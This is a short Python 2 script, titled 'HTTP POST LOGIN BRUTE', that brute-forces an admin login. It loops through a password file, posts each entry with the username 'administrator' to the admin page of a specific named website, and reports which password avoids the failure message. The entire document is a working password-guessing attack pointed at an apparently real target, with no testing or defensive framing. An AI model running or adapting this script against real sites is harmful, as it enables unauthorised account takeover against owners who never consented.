HTTP POST LOGIN BRUTE

import urllib2
import socket
import cookielib
import time
import re

PASS_LIST = 'password.txt'
USER = 'administrator'
MESSENGER = 'Incorrect Username and Password, please try again'
DEBUG = 0

with open(PASS_LIST) as f:
    for line in f:
        line = line.replace("\n","")
        print "Brute Force Password : %s" % line
        POSTDATA = "username=%s&password=%s&submit=+"%(USER,line)
        URL = "http://dinhnguyen.vn/admin/index.php"
        try:
            socket.setdefaulttimeout(10)
            cj = cookielib.CookieJar()
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
            response = opener.open(URL,POSTDATA).read()
            result = re.findall(MESSENGER, response)
            if DEBUG==1: print result
            if DEBUG==1: open('debug/%s.html'%line, 'wb').write(response)
            if len(result) > 0:
                print "Login Password %s Error"%line
            else:
                print "Password %s Ok"%line
        except:
            print "Error"
        time.sleep(3)